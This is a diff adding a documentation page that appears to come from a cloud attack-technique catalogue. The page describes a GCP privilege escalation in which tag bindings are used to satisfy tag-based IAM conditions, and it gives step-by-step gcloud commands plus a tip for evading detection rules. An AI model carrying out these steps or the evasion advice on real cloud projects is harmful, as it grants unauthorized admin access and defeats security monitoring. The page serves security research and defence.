|
| 1 | +--- |
| 2 | +author_name: Ariel Kalman |
| 3 | +title: Tag Your Way In - GCP Privilege Escalation Using Tags |
| 4 | +description: A new privilege escalation technique in Google Cloud that leverages tag bindings to bypass IAM conditions and gain unauthorized access to sensitive resources. |
| 5 | +--- |
| 6 | + |
| 7 | + |
| 8 | +<div class="grid cards" markdown> |
| 9 | + |
| 10 | +- :material-account:{ .lg .middle } __Original Research__ |
| 11 | + |
| 12 | + --- |
| 13 | + |
| 14 | + <aside style="display:flex"> |
| 15 | + <p><a href="https://www.mitiga.io/blog/tag-your-way-in-new-privilege-escalation-technique-in-gcp">Tag Your Way In: New Privilege Escalation Technique in GCP</a> by <a href="https://www.linkedin.com/in/ariel-kalman-47314a19b/">Ariel Kalman</a></p> |
| 16 | + <p><img src="/images/researchers/ariel_kalman.jpg" alt="Ariel Kalman" style="width:44px;height:44px;margin:5px;border-radius:100%;max-width:unset"></img></p> |
| 17 | + </aside> |
| 18 | + |
| 19 | +</div> |
| 20 | + |
| 21 | + |
| 22 | +GCP IAM Conditions allow fine-grained access control using context like time, resource type, and tags—but those same tags can enable unexpected privilege escalation. **In this post, we show how a user with only viewer and tagUser roles can escalate to full admin access without changing any IAM policy**. |
| 23 | + |
| 24 | +## Background |
| 25 | +#### Conditional Access Based on Tags |
| 26 | + |
| 27 | +In GCP, IAM policies control access by assigning roles to members on resources, optionally using conditions based on request time, IP address, or resource tags. Tags are key-value pairs that can be inherited and used in IAM Conditions, such as resource.matchTag('env', 'sandbox'), to enforce fine-grained access control. |
| 28 | + |
| 29 | +For example, this is an IAM policy with a resource tag condition: |
| 30 | +```json |
| 31 | +{ |
| 32 | + "bindings": [ |
| 33 | + { |
| 34 | + "condition": { |
| 35 | + "description": "Only allow access if a resource is tagged env=sandbox", |
| 36 | + "expression": "resource.matchTag('env', 'sandbox')", |
| 37 | + "title": "SandboxTagCondition" |
| 38 | + }, |
| 39 | + "members": [ |
| 40 | + "group:sandbox_users@**************" |
| 41 | + ], |
| 42 | + "role": "roles/compute.admin" |
| 43 | + } |
| 44 | +} |
| 45 | +``` |
| 46 | + |
| 47 | +#### TagBindings and Role-Based Tag Management |
| 48 | +Tags are attached to resources using tagBindings, which link a resource to a specific tagValue. |
| 49 | + |
| 50 | + |
| 51 | +#### Tag Management Roles |
| 52 | + |
| 53 | +In GCP, tag management access is controlled using the following IAM roles: |
| 54 | + |
| 55 | +- [`roles/resourcemanager.tagViewer`](https://cloud.google.com/iam/docs/understanding-roles#resourcemanager.tagViewer) |
| 56 | +- [`roles/resourcemanager.tagUser`](https://cloud.google.com/iam/docs/understanding-roles#resourcemanager.tagUser) |
| 57 | +- [`roles/resourcemanager.tagAdmin`](https://cloud.google.com/iam/docs/understanding-roles#resourcemanager.tagAdmin) |
| 58 | + |
| 59 | +!!! Tip |
| 60 | + To evade detection, an attacker could perform the tag binding and the privileged action in separate sessions or with a time gap greater than X minutes, breaking the detectable sequence used in correlation rules |
| 61 | + |
| 62 | + |
| 63 | +## How to Exploit |
| 64 | + |
| 65 | + |
| 66 | +### 1. Enumerate IAM Policies |
| 67 | +```shell |
| 68 | +gcloud projects get-iam-policy <PROJECT_ID> |
| 69 | +``` |
| 70 | +**Required Role:** `roles/resourcemanager.projects.getIamPolicy` |
| 71 | +**Impact:** Discover IAM bindings and tag-based conditions |
| 72 | +<figure markdown> |
| 73 | + { loading=lazy } |
| 74 | +</figure> |
| 75 | + |
| 76 | + |
| 77 | +### 2. List Available Tags |
| 78 | +```shell |
| 79 | +gcloud resource-manager tags keys list --parent=folders/<FOLDER_ID> |
| 80 | +gcloud resource-manager tags values list --parent=tagKeys/<TAG_KEY_ID> |
| 81 | +``` |
| 82 | +**Role:** `roles/resourcemanager.tagUser` |
| 83 | +**Impact:** Enumerate tag keys and values. |
| 84 | +<figure markdown> |
| 85 | + { loading=lazy } |
| 86 | +</figure> |
| 87 | + |
| 88 | + |
| 89 | +### 3. Bind Tags to Resource |
| 90 | +```shell |
| 91 | +gcloud resource-manager tags bindings create \ |
| 92 | + --tag-value=tagValues/<TAG_VALUE_ID> \ |
| 93 | + --parent=//cloudresourcemanager.googleapis.com/projects/<PROJECT_ID> |
| 94 | +``` |
| 95 | +**Role:** `roles/resourcemanager.tagUser` |
| 96 | +**Impact:** Attach tags to satisfy IAM conditions. |
| 97 | +<figure markdown> |
| 98 | + { loading=lazy } |
| 99 | +</figure> |
| 100 | + |
| 101 | + |
| 102 | +### 4. Exploit Conditional Access |
| 103 | +```shell |
| 104 | +gcloud compute instances delete-access-config instance-<INSTANCE_NAME> \ |
| 105 | + --zone=us-central1-c \ |
| 106 | + --access-config-name="External NAT" \ |
| 107 | + --network-interface=nic0 |
| 108 | + |
| 109 | +``` |
| 110 | +**Role:** `roles/compute.admin` |
| 111 | +**Impact:** Access resources gated by tag-based conditions. |
| 112 | +<figure markdown> |
| 113 | + { loading=lazy } |
| 114 | +</figure> |
| 115 | + |
| 116 | + |
| 117 | +!!! Warning |
| 118 | + The granted privileged role depends entirely on the IAM policy. If the policy assigns `roles/compute.admin` to resources with the tag, that's what the attacker gets, but it could just as easily be `roles/compute.viewer` or any other role. |
| 119 | + |
| 120 | + |
| 121 | +## Impact |
| 122 | +This privilege escalation technique can lead to unauthorized access, full admin control over key services, and long-term persistence by exploiting dynamic tag-based IAM conditions. It’s a realistic risk: public Terraform modules frequently assign the tagUser role to non-admins like CI/CD accounts or integration service accounts, as seen in examples from [terraform-example-foundation](https://github.com/terraform-google-modules/terraform-example-foundation/blob/main/0-bootstrap/sa.tf) and [cloud-foundation-fabric](https://github.com/GoogleCloudPlatform/cloud-foundation-fabric/blob/master/fast/stages/0-bootstrap/README.md). |
| 123 | + |
| 124 | +!!! Note |
| 125 | + For a deeper technical walkthrough, check out the [full blog post](https://www.mitiga.io/blog/tag-your-way-in-new-privilege-escalation-technique-in-gcp) or [contact me](https://www.linkedin.com/in/ariel-kalman-47314a19b/) for more information. |
| 126 | + |
| 127 | + |
0 commit comments